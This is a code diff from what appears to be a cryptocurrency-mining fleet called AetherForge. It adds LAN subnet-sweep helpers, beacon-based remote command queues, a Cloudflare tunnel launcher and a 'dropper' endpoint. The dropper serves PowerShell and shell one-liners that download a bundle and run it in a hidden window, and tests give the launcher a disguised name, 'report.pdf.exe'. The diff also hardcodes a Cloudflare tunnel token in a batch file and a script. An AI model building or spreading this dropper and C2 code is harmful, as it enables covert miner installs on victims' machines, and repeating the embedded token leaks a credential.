// - IPv6: first four hextets (/64)
//
// Returns "" when the address cannot be used for subnet matching.
func getSubnet(ip string) string {
parsed := net.ParseIP(strings.TrimSpace(ip))
if parsed == nil {
return ""
}
if ip4 := parsed.To4(); ip4 != nil {
parts := strings.Split(ip4.String(), ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}
// IPv6 /64 — collapse :: shorthand for consistent map keys.
full := parsed.String()
if strings.Contains(full, ".") {
return ""
}
hextets := strings.Split(full, ":")
if len(hextets) < 4 {
return ""
}
return strings.Join(hextets[:4], ":")
}
// isIPv4 reports whether addr is an IPv4 host address.
func isIPv4(addr string) bool {
ip := net.ParseIP(addr)
return ip != nil && ip.To4() != nil
}
// ipv4SweepHost returns the i-th host in an IPv4 /24 (1254). ok is false for non-IPv4 prefixes.
func ipv4SweepHost(subnet string, i int) (host string, ok bool) {
if i < 1 || i > 254 {
return "", false
}
parts := strings.Split(subnet, ".")
if len(parts) != 3 {
return "", false
}
return fmt.Sprintf("%s.%s.%s.%d", parts[0], parts[1], parts[2], i), true
}

View File

@@ -0,0 +1,62 @@
package deploy
import (
"net"
"testing"
)
func TestGetSubnetIPv4(t *testing.T) {
if got := getSubnet("192.168.1.42"); got != "192.168.1" {
t.Fatalf("got %q", got)
}
if getSubnet("bad") != "" {
t.Fatal("invalid ip should return empty")
}
if getSubnet("10.0.0.1") != "10.0.0" {
t.Fatalf("got %q", getSubnet("10.0.0.1"))
}
}
func TestGetSubnetIPv6(t *testing.T) {
ip := "2001:db8:abcd:0012::1"
got := getSubnet(ip)
want := "2001:db8:abcd:12"
if got != want {
t.Fatalf("got %q want %q", got, want)
}
if getSubnet("::1") != "" {
t.Fatal("short IPv6 address should not yield sweep prefix")
}
}
func TestIPv4SweepHost(t *testing.T) {
host, ok := ipv4SweepHost("10.0.0", 42)
if !ok || host != "10.0.0.42" {
t.Fatalf("got %q ok=%v", host, ok)
}
if _, ok := ipv4SweepHost("2001:db8", 1); ok {
t.Fatal("IPv6 prefix should not produce sweep host")
}
}
func TestIsIPv4(t *testing.T) {
if !isIPv4("192.168.0.1") {
t.Fatal("expected IPv4")
}
if isIPv4("2001:db8::1") {
t.Fatal("expected not IPv4")
}
}
func TestGetLocalIPsSkipsLoopback(t *testing.T) {
ips := getLocalIPs()
for _, ip := range ips {
parsed := net.ParseIP(ip)
if parsed == nil {
t.Fatalf("invalid ip %q", ip)
}
if parsed.IsLoopback() {
t.Fatalf("loopback %q should be excluded", ip)
}
}
}

View File

@@ -2,11 +2,18 @@ package miner
import ( import (
"encoding/hex" "encoding/hex"
"errors"
"fmt"
"sync" "sync"
"git.gammaspectra.live/P2Pool/go-randomx" "git.gammaspectra.live/P2Pool/go-randomx"
) )
var (
ErrEngineNotReady = errors.New("randomx VM not initialized")
ErrBlobTooShort = errors.New("blob shorter than nonce offset")
)
const nonceOffset = 39 const nonceOffset = 39
const nonceSize = 4 const nonceSize = 4
@@ -59,8 +66,11 @@ func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err
e.mu.RLock() e.mu.RLock()
defer e.mu.RUnlock() defer e.mu.RUnlock()
if e.vm == nil || len(e.blob) < nonceOffset+nonceSize { if e.vm == nil {
return "", "", nil return "", "", ErrEngineNotReady
}
if len(e.blob) < nonceOffset+nonceSize {
return "", "", fmt.Errorf("%w (need %d bytes, have %d)", ErrBlobTooShort, nonceOffset+nonceSize, len(e.blob))
} }
work := append([]byte(nil), e.blob...) work := append([]byte(nil), e.blob...)

View File

@@ -1,6 +1,7 @@
package miner package miner
import ( import (
"errors"
"fmt" "fmt"
"strings" "strings"
"testing" "testing"
@@ -31,11 +32,11 @@ func TestEngineSetJobInvalidBlob(t *testing.T) {
func TestEngineHashAtNonceNoVM(t *testing.T) { func TestEngineHashAtNonceNoVM(t *testing.T) {
e := NewEngine() e := NewEngine()
hash, blob, err := e.HashAtNonce(0) hash, blob, err := e.HashAtNonce(0)
if err != nil { if !errors.Is(err, ErrEngineNotReady) {
t.Fatalf("unexpected error: %v", err) t.Fatalf("expected ErrEngineNotReady, got err=%v hash=%q blob=%q", err, hash, blob)
} }
if hash != "" || blob != "" { if hash != "" || blob != "" {
t.Fatalf("empty VM should return empty strings, got hash=%q blob=%q", hash, blob) t.Fatalf("unready VM should return empty strings, got hash=%q blob=%q", hash, blob)
} }
} }
@@ -46,11 +47,11 @@ func TestEngineHashAtNonceShortBlob(t *testing.T) {
t.Fatal(err) t.Fatal(err)
} }
hash, blob, err := e.HashAtNonce(1) hash, blob, err := e.HashAtNonce(1)
if err != nil { if !errors.Is(err, ErrBlobTooShort) {
t.Fatal(err) t.Fatalf("expected ErrBlobTooShort, got err=%v hash=%q blob=%q", err, hash, blob)
} }
if hash != "" || blob != "" { if hash != "" || blob != "" {
t.Fatalf("blob shorter than nonce offset should not hash, got hash=%q blob=%q", hash, blob) t.Fatalf("short blob should return empty strings, got hash=%q blob=%q", hash, blob)
} }
} }

View File

@@ -215,6 +215,13 @@ echo Stopping any previous miner-server.exe...
taskkill /F /IM miner-server.exe >nul 2>nul taskkill /F /IM miner-server.exe >nul 2>nul
timeout /t 1 /nobreak >nul timeout /t 1 /nobreak >nul
set "SERVER_PORT=8989"
set "CONFIG_FILE=%ROOT%\data\config.json"
if exist "%CONFIG_FILE%" (
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
if not "%%P"=="" set "SERVER_PORT=%%P"
)
)
set "LAN_IP=localhost" set "LAN_IP=localhost"
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress) 2>$null"`) do set "LAN_IP=%%I" for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress) 2>$null"`) do set "LAN_IP=%%I"
@@ -222,9 +229,9 @@ echo.
echo ============================================================== echo ==============================================================
echo STARTING CONTROL SERVER echo STARTING CONTROL SERVER
echo ============================================================== echo ==============================================================
echo Dashboard: http://localhost:8989 echo Dashboard: http://localhost:%SERVER_PORT%
echo LAN: http://%LAN_IP%:8989 echo LAN: http://%LAN_IP%:%SERVER_PORT%
echo Agents WS: ws://%LAN_IP%:8989/ws/agent echo Agents WS: ws://%LAN_IP%:%SERVER_PORT%/ws/agent
echo Data: %ROOT%\data\ echo Data: %ROOT%\data\
echo. echo.
echo Live logs appear below. Ctrl+C stops the server. echo Live logs appear below. Ctrl+C stops the server.
@@ -232,13 +239,13 @@ echo ==============================================================
echo. echo.
:: Open browser after a short delay (server starts in this window) :: Open browser after a short delay (server starts in this window)
start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/" start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:%SERVER_PORT%/"
echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data" echo [Server] miner-server.exe -data "%ROOT%\data" ^(port %SERVER_PORT% from config^)
if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1 if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1
echo. echo.
.\bin\miner-server.exe -port 8989 -data "%ROOT%\data" .\bin\miner-server.exe -data "%ROOT%\data"
set "EXITCODE=!ERRORLEVEL!" set "EXITCODE=!ERRORLEVEL!"
echo. echo.
@@ -246,7 +253,7 @@ if "!EXITCODE!"=="0" (
echo [Server] Stopped normally. echo [Server] Stopped normally.
) else ( ) else (
echo [Server] Exited with code !EXITCODE!. echo [Server] Exited with code !EXITCODE!.
echo If port 8989 was in use, close other miner-server windows and run again. echo If port %SERVER_PORT% was in use, close other miner-server windows and run again.
) )
echo. echo.
goto end_pause goto end_pause

View File

@@ -1,21 +0,0 @@
Monero pool presets (wallet address only — no account registration)
MoneroOcean
TLS: gulf.moneroocean.stream:20128
Plain: gulf.moneroocean.stream:10128
SupportXMR
TLS: pool.supportxmr.com:443
Plain: pool.supportxmr.com:3333
HeroMiners
TLS: xmr.herominers.com:1120
Plain: xmr.herominers.com:1111
2Miners
Plain: xmr.2miners.com:2222
XMRPool.eu
Plain: pool.xmrpool.eu:3333
In AetherForge Calibrate and Forge: check one or more presets; the first reachable pool is used, then failover rotates through the rest.

View File

@@ -148,6 +148,12 @@ echo @echo off > "%USB%\run.bat"
echo rem AetherForge portable root marker >> "%USB%\run.bat" echo rem AetherForge portable root marker >> "%USB%\run.bat"
echo [5/8] Launcher synced. echo [5/8] Launcher synced.
if not exist "%USB%\scripts" mkdir "%USB%\scripts"
copy /y "%ROOT%\scripts\usb-start-cloudflared.ps1" "%USB%\scripts\" >nul
if not exist "%USB%\data\cloudflared-token.txt" (
echo eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9> "%USB%\data\cloudflared-token.txt"
)
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
:: 6. Remove stale nested server mirror (not needed for portable) :: 6. Remove stale nested server mirror (not needed for portable)
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------

View File

@@ -0,0 +1,52 @@
# Starts cloudflared tunnel run --token for portable USB / LAUNCH.bat.
param(
[Parameter(Mandatory = $true)][string]$DeckRoot
)
$ErrorActionPreference = 'Stop'
$token = $env:AF_TUNNEL_TOKEN
if (-not $token) {
$sidecar = Join-Path $DeckRoot 'data\cloudflared-token.txt'
if (Test-Path -LiteralPath $sidecar) {
$token = (Get-Content -LiteralPath $sidecar -Raw).Trim()
}
}
if (-not $token) {
$cfgPath = Join-Path $DeckRoot 'data\config.json'
if (Test-Path -LiteralPath $cfgPath) {
try {
$cfg = Get-Content -LiteralPath $cfgPath -Raw | ConvertFrom-Json
$token = [string]$cfg.tunnel_defaults.cloudflare_tunnel_token
$token = $token.Trim().Trim('"')
} catch { }
}
}
if (-not $token) {
# Builtin fallback (matches server/config.go builtinCloudflareTunnelToken)
$token = 'eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9'
}
$bin = Join-Path $DeckRoot 'tools\cloudflared.exe'
if (-not (Test-Path -LiteralPath $bin)) {
New-Item -ItemType Directory -Force -Path (Split-Path -LiteralPath $bin) | Out-Null
Write-Host '[Tunnel] Downloading cloudflared.exe...'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $bin
}
$pidFile = Join-Path $DeckRoot 'data\cloudflared.pid'
$existing = Get-Process -Name 'cloudflared' -ErrorAction SilentlyContinue
if ($existing) {
Write-Host "[Tunnel] cloudflared already running (pid $($existing.Id))"
exit 0
}
Write-Host '[Tunnel] Starting Cloudflare connector...'
$p = Start-Process -FilePath $bin -ArgumentList @('tunnel', '--no-autoupdate', 'run', '--token', $token) -WindowStyle Hidden -PassThru
Set-Content -LiteralPath $pidFile -Value $p.Id -Encoding ascii
Start-Sleep -Seconds 2
if ($p.HasExited) {
Write-Host '[Tunnel] WARNING: cloudflared exited immediately — check token and Cloudflare tunnel service URL (http://localhost:8989)'
exit 1
}
Write-Host "[Tunnel] Connector running (pid $($p.Id))"

View File

@@ -232,15 +232,26 @@ func DefaultConfig() *Config {
func LoadConfig() *Config { func LoadConfig() *Config {
cfg := DefaultConfig() cfg := DefaultConfig()
// Parse CLI flags
port := flag.Int("port", 8989, "Server port") port := flag.Int("port", 8989, "Server port")
dataDir := flag.String("data", "data", "Data directory") dataDir := flag.String("data", "data", "Data directory")
cliPortExplicit := false
flag.Parse() flag.Parse()
flag.Visit(func(f *flag.Flag) {
if f.Name == "port" {
cliPortExplicit = true
}
})
cliPort := *port
cfg.Port = *port // Resolve data dir before reading config.json so relative -data always targets <repo>/data.
cfg.DataDir = *dataDir projectRoot := findProjectRoot()
cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
if cliPortExplicit {
cfg.Port = cliPort
} else {
cfg.Port = cliPort
}
// Try to load from config file
configPath := filepath.Join(cfg.DataDir, "config.json") configPath := filepath.Join(cfg.DataDir, "config.json")
if data, err := os.ReadFile(configPath); err == nil { if data, err := os.ReadFile(configPath); err == nil {
var fileCfg Config var fileCfg Config
@@ -265,6 +276,11 @@ func LoadConfig() *Config {
} }
} }
// Explicit -port wins over config.json (LAUNCH/devrun pass -port alongside file-based settings).
if cliPortExplicit {
cfg.Port = cliPort
}
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" { if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL) cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
} }
@@ -537,6 +553,15 @@ func mergeConfig(dst, src *Config) {
if src.Server.SignTimestampURL != "" { if src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL dst.Server.SignTimestampURL = src.Server.SignTimestampURL
} }
if src.Server.FleetSecret != "" {
dst.Server.FleetSecret = src.Server.FleetSecret
}
if src.TunnelDefaults.CloudflaredTargetURL != "" {
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
}
if src.TunnelDefaults.CloudflareTunnelToken != "" {
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
}
} }
// nestedJSONKeys returns keys explicitly present in a nested JSON object section. // nestedJSONKeys returns keys explicitly present in a nested JSON object section.

View File

@@ -281,6 +281,67 @@ func TestConfigSaveAndReload(t *testing.T) {
} }
} }
func TestLoadConfigResolvesRelativeDataBeforeFileRead(t *testing.T) {
cwd, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
repo := t.TempDir()
if err := os.WriteFile(filepath.Join(repo, "LAUNCH.bat"), []byte(""), 0644); err != nil {
t.Fatal(err)
}
dataDir := filepath.Join(repo, "data")
if err := os.MkdirAll(dataDir, 0755); err != nil {
t.Fatal(err)
}
fileCfg := DefaultConfig()
fileCfg.Wallet.Address = "48fromrepo"
data, err := json.Marshal(fileCfg)
if err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dataDir, "config.json"), data, 0644); err != nil {
t.Fatal(err)
}
serverDir := filepath.Join(repo, "server")
if err := os.MkdirAll(serverDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.Chdir(serverDir); err != nil {
t.Fatal(err)
}
defer func() { _ = os.Chdir(cwd) }()
resetConfigFlags([]string{"test", "-data", "data"})
cfg := LoadConfig()
wantData := filepath.Join(repo, "data")
if cfg.DataDir != wantData {
t.Fatalf("data dir: got %q want %q", cfg.DataDir, wantData)
}
if cfg.Wallet.Address != "48fromrepo" {
t.Fatalf("expected config from repo data/, got wallet %q", cfg.Wallet.Address)
}
}
func TestLoadConfigFilePortWhenCLINotExplicit(t *testing.T) {
dir := t.TempDir()
fileCfg := DefaultConfig()
fileCfg.Port = 9001
data, err := json.Marshal(fileCfg)
if err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dir, "config.json"), data, 0644); err != nil {
t.Fatal(err)
}
// No -port on CLI — only -data.
resetConfigFlags([]string{"test", "-data", dir})
cfg := LoadConfig()
if cfg.Port != 9001 {
t.Fatalf("file port when CLI omits -port: got %d", cfg.Port)
}
}
func TestLoadConfigCLIFlags(t *testing.T) { func TestLoadConfigCLIFlags(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
resetConfigFlags([]string{"test", "-port", "9999", "-data", dir}) resetConfigFlags([]string{"test", "-port", "9999", "-data", dir})
@@ -311,8 +372,8 @@ func TestLoadConfigMergesFileOverrides(t *testing.T) {
resetConfigFlags([]string{"test", "-port", "8989", "-data", dir}) resetConfigFlags([]string{"test", "-port", "8989", "-data", dir})
cfg := LoadConfig() cfg := LoadConfig()
if cfg.Port != 9001 { if cfg.Port != 8989 {
t.Fatalf("file port override: got %d", cfg.Port) t.Fatalf("explicit CLI -port should win over file port: got %d", cfg.Port)
} }
if cfg.Pool.Host != "custom.pool.example" { if cfg.Pool.Host != "custom.pool.example" {
t.Fatalf("file pool host: got %q", cfg.Pool.Host) t.Fatalf("file pool host: got %q", cfg.Pool.Host)

View File

@@ -224,10 +224,8 @@ func (e *Evaluator) ClearAgent(agentID string) {
// Remove cooldown + baseline entries so the agent's next appearance // Remove cooldown + baseline entries so the agent's next appearance
// (e.g. re-registration) starts fresh. // (e.g. re-registration) starts fresh.
delete(e.baseline, agentID) delete(e.baseline, agentID)
for k := range e.lastFired { for _, prefix := range []string{"offline:", "hashrate:", "reject:"} {
if len(k) > len(agentID) && k[len(k)-len(agentID):] == agentID { delete(e.lastFired, prefix+agentID)
delete(e.lastFired, k)
}
} }
} }

View File

@@ -0,0 +1,41 @@
package api
import (
"sync"
"time"
)
const (
agentWSRateLimitMax = 30
agentWSRateLimitWindow = time.Minute
agentWSAuthTimeout = 45 * time.Second
)
type agentWSRateLimiter struct {
mu sync.Mutex
attempts map[string][]time.Time
}
var agentWSRateLim = agentWSRateLimiter{attempts: make(map[string][]time.Time)}
func allowAgentWSUpgrade(clientIP string) bool {
if clientIP == "" {
return true
}
now := time.Now()
cutoff := now.Add(-agentWSRateLimitWindow)
agentWSRateLim.mu.Lock()
defer agentWSRateLim.mu.Unlock()
filtered := agentWSRateLim.attempts[clientIP][:0]
for _, t := range agentWSRateLim.attempts[clientIP] {
if t.After(cutoff) {
filtered = append(filtered, t)
}
}
if len(filtered) >= agentWSRateLimitMax {
agentWSRateLim.attempts[clientIP] = filtered
return false
}
agentWSRateLim.attempts[clientIP] = append(filtered, now)
return true
}

View File

@@ -118,6 +118,7 @@ func (h *AIHandler) GetEngine(agentID string) *ollama.Engine {
defer h.mu.Unlock() defer h.mu.Unlock()
if entry, ok := h.engines[agentID]; ok { if entry, ok := h.engines[agentID]; ok {
entry.lastUsed = time.Now() entry.lastUsed = time.Now()
h.engines[agentID] = entry
return entry.engine return entry.engine
} }
return nil return nil

View File

@@ -52,8 +52,19 @@ func (h *WSHub) initBeaconMaps() {
} }
} }
// MarkBeaconSeen records a successful HTTPS beacon from an agent. func (h *WSHub) agentExistsInDB(agentID string) bool {
if h.db == nil || agentID == "" {
return false
}
_, err := h.db.GetAgent(agentID)
return err == nil
}
// MarkBeaconSeen records a successful HTTPS beacon from a known agent.
func (h *WSHub) MarkBeaconSeen(agentID string) { func (h *WSHub) MarkBeaconSeen(agentID string) {
if !h.agentExistsInDB(agentID) {
return
}
h.initBeaconMaps() h.initBeaconMaps()
h.beaconMu.Lock() h.beaconMu.Lock()
h.beaconLastSeen[agentID] = time.Now() h.beaconLastSeen[agentID] = time.Now()
@@ -84,7 +95,7 @@ func (h *WSHub) IsAgentReachable(agentID string) bool {
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery. // EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool { func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
if !h.isAgentBeaconReachable(agentID) { if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) {
return false return false
} }
cmd := BeaconCommand{Action: action} cmd := BeaconCommand{Action: action}
@@ -188,7 +199,6 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
return return
} }
h.MarkBeaconSeen(agentID)
if h.db != nil { if h.db != nil {
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") { if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
display := req.Hostname display := req.Hostname
@@ -204,6 +214,7 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
}) })
} }
} }
h.MarkBeaconSeen(agentID)
h.applyBeaconStats(agentID, req.Stats) h.applyBeaconStats(agentID, req.Stats)
cmds := h.dequeueBeaconCommands(agentID) cmds := h.dequeueBeaconCommands(agentID)
writeJSON(w, beaconResponse{OK: true, Commands: cmds}) writeJSON(w, beaconResponse{OK: true, Commands: cmds})

View File

@@ -57,6 +57,14 @@ func TestAgentBeaconFleetSecretAuth(t *testing.T) {
} }
} }
func TestBeaconCommandQueueUnknownAgent(t *testing.T) {
hub := NewWSHub(nil)
hub.MarkBeaconSeen("ghost-agent")
if hub.EnqueueBeaconCommand("ghost-agent", "pause", nil) {
t.Fatal("enqueue should fail for unknown agent")
}
}
func TestBeaconCommandQueueRoundtrip(t *testing.T) { func TestBeaconCommandQueueRoundtrip(t *testing.T) {
database, err := db.New(t.TempDir()) database, err := db.New(t.TempDir())
if err != nil { if err != nil {

View File

@@ -3,10 +3,12 @@ package api
import ( import (
"fmt" "fmt"
"net/http" "net/http"
"os"
"path/filepath" "path/filepath"
"strings" "strings"
dbpkg "crypto-miner-server/internal/db" dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
) )
// DropperHandler serves the one-liner remote-install endpoints: // DropperHandler serves the one-liner remote-install endpoints:
@@ -17,11 +19,12 @@ import (
// GET /install.ps1 — PowerShell one-liner installer (Windows) // GET /install.ps1 — PowerShell one-liner installer (Windows)
type DropperHandler struct { type DropperHandler struct {
db *dbpkg.Database db *dbpkg.Database
dataDir string
publicURLFunc func() string publicURLFunc func() string
} }
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler { func NewDropperHandler(database *dbpkg.Database, dataDir string, publicURLFunc func() string) *DropperHandler {
return &DropperHandler{db: database, publicURLFunc: publicURLFunc} return &DropperHandler{db: database, dataDir: dataDir, publicURLFunc: publicURLFunc}
} }
func (h *DropperHandler) publicURL() string { func (h *DropperHandler) publicURL() string {
@@ -74,8 +77,7 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
for _, p := range candidates { for _, p := range candidates {
b, err := h.db.GetLatestBuildForPlatform(p) b, err := h.db.GetLatestBuildForPlatform(p)
if err == nil && b != nil { if err == nil && b != nil {
buildPath = b.FilePath buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
buildName = filepath.Base(b.FilePath)
break break
} }
} }
@@ -181,7 +183,7 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
" $dir = $tmp + '_bundle'" + nl + " $dir = $tmp + '_bundle'" + nl +
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl + " Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl + " [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl + " foreach ($name in @('Start.bat', 'Deploy.bat', 'start.bat', 'deploy.bat')) {" + nl +
" $c = Join-Path $dir $name" + nl + " $c = Join-Path $dir $name" + nl +
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl + " if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
" }" + nl + " }" + nl +
@@ -208,13 +210,37 @@ func (h *DropperHandler) resolveBase(r *http.Request) string {
scheme = "https" scheme = "https"
} }
// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel). // Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" { if proto := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); strings.EqualFold(proto, "https") {
scheme = "https" scheme = "https"
} }
// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host. // Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
host := r.Header.Get("X-Forwarded-Host") host := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0])
if host == "" { if host == "" {
host = r.Host host = r.Host
} }
return scheme + "://" + host return scheme + "://" + host
} }
// resolveDropperArtifact prefers DownloadURL (bundle artifact) over FilePath (launcher).
func resolveDropperArtifact(dataDir string, b *models.BuildRecord) (path, name string) {
if b == nil {
return "", ""
}
dl := strings.TrimSpace(b.DownloadURL)
if dl != "" && strings.Contains(dl, "/artifact/") {
parts := strings.Split(dl, "/artifact/")
if len(parts) == 2 && parts[1] != "" {
artifactName := filepath.Base(parts[1])
candidate := filepath.Join(dataDir, "builds", b.ID, artifactName)
if _, err := os.Stat(candidate); err == nil {
return candidate, artifactName
}
}
}
path = b.FilePath
name = strings.TrimSpace(b.FileName)
if name == "" && path != "" {
name = filepath.Base(path)
}
return path, name
}

View File

@@ -21,7 +21,7 @@ func newTestDropperHandler(t *testing.T) (*DropperHandler, *db.Database, string)
t.Fatal(err) t.Fatal(err)
} }
t.Cleanup(func() { _ = database.Close() }) t.Cleanup(func() { _ = database.Close() })
return NewDropperHandler(database, func() string { return "https://public.example.com" }), database, dataDir return NewDropperHandler(database, dataDir, func() string { return "https://public.example.com" }), database, dataDir
} }
func TestDetectPlatformQueryParam(t *testing.T) { func TestDetectPlatformQueryParam(t *testing.T) {
@@ -113,7 +113,7 @@ func TestDropperResolveBasePublicURL(t *testing.T) {
} }
func TestDropperResolveBaseFromRequest(t *testing.T) { func TestDropperResolveBaseFromRequest(t *testing.T) {
h := NewDropperHandler(nil, nil) h := NewDropperHandler(nil, "", nil)
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil) req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
req.Host = "deck.local:8989" req.Host = "deck.local:8989"
req.Header.Set("X-Forwarded-Host", "proxy.example.com") req.Header.Set("X-Forwarded-Host", "proxy.example.com")
@@ -136,6 +136,66 @@ func TestDropperServeShContent(t *testing.T) {
} }
} }
func TestDropperServeGetPrefersBundleArtifact(t *testing.T) {
h, database, dataDir := newTestDropperHandler(t)
buildID := "fusion-bundle"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
launcherPath := filepath.Join(buildDir, "report.pdf.exe")
bundlePath := filepath.Join(buildDir, "report-package.zip")
if err := os.WriteFile(launcherPath, []byte("launcher-only"), 0644); err != nil {
t.Fatal(err)
}
bundleContent := []byte("zip-bundle-with-payload")
if err := os.WriteFile(bundlePath, bundleContent, 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
FilePath: launcherPath, FileName: "report.pdf.exe", Platform: "windows",
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/report-package.zip",
CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
rec := httptest.NewRecorder()
h.ServeGet(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
if rec.Body.String() != string(bundleContent) {
t.Fatalf("expected bundle bytes, got %q", rec.Body.String())
}
if !strings.Contains(rec.Header().Get("Content-Disposition"), "report-package.zip") {
t.Fatalf("disposition: %q", rec.Header().Get("Content-Disposition"))
}
}
func TestResolveDropperArtifact(t *testing.T) {
dataDir := t.TempDir()
buildID := "bid"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
bundle := filepath.Join(buildDir, "kit.zip")
if err := os.WriteFile(bundle, []byte("z"), 0644); err != nil {
t.Fatal(err)
}
b := &models.BuildRecord{
ID: buildID, FilePath: filepath.Join(buildDir, "runner.exe"), FileName: "runner.exe",
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/kit.zip",
}
path, name := resolveDropperArtifact(dataDir, b)
if path != bundle || name != "kit.zip" {
t.Fatalf("artifact resolve: path=%q name=%q", path, name)
}
}
func TestDropperServePs1Content(t *testing.T) { func TestDropperServePs1Content(t *testing.T) {
h, _, _ := newTestDropperHandler(t) h, _, _ := newTestDropperHandler(t)
req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil) req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
@@ -147,4 +207,7 @@ func TestDropperServePs1Content(t *testing.T) {
if !strings.Contains(rec.Body.String(), "DownloadFile") { if !strings.Contains(rec.Body.String(), "DownloadFile") {
t.Fatal("expected PowerShell download snippet") t.Fatal("expected PowerShell download snippet")
} }
if !strings.Contains(rec.Body.String(), "start.bat") {
t.Fatal("expected lowercase start.bat in PS1 launcher list")
}
} }

View File

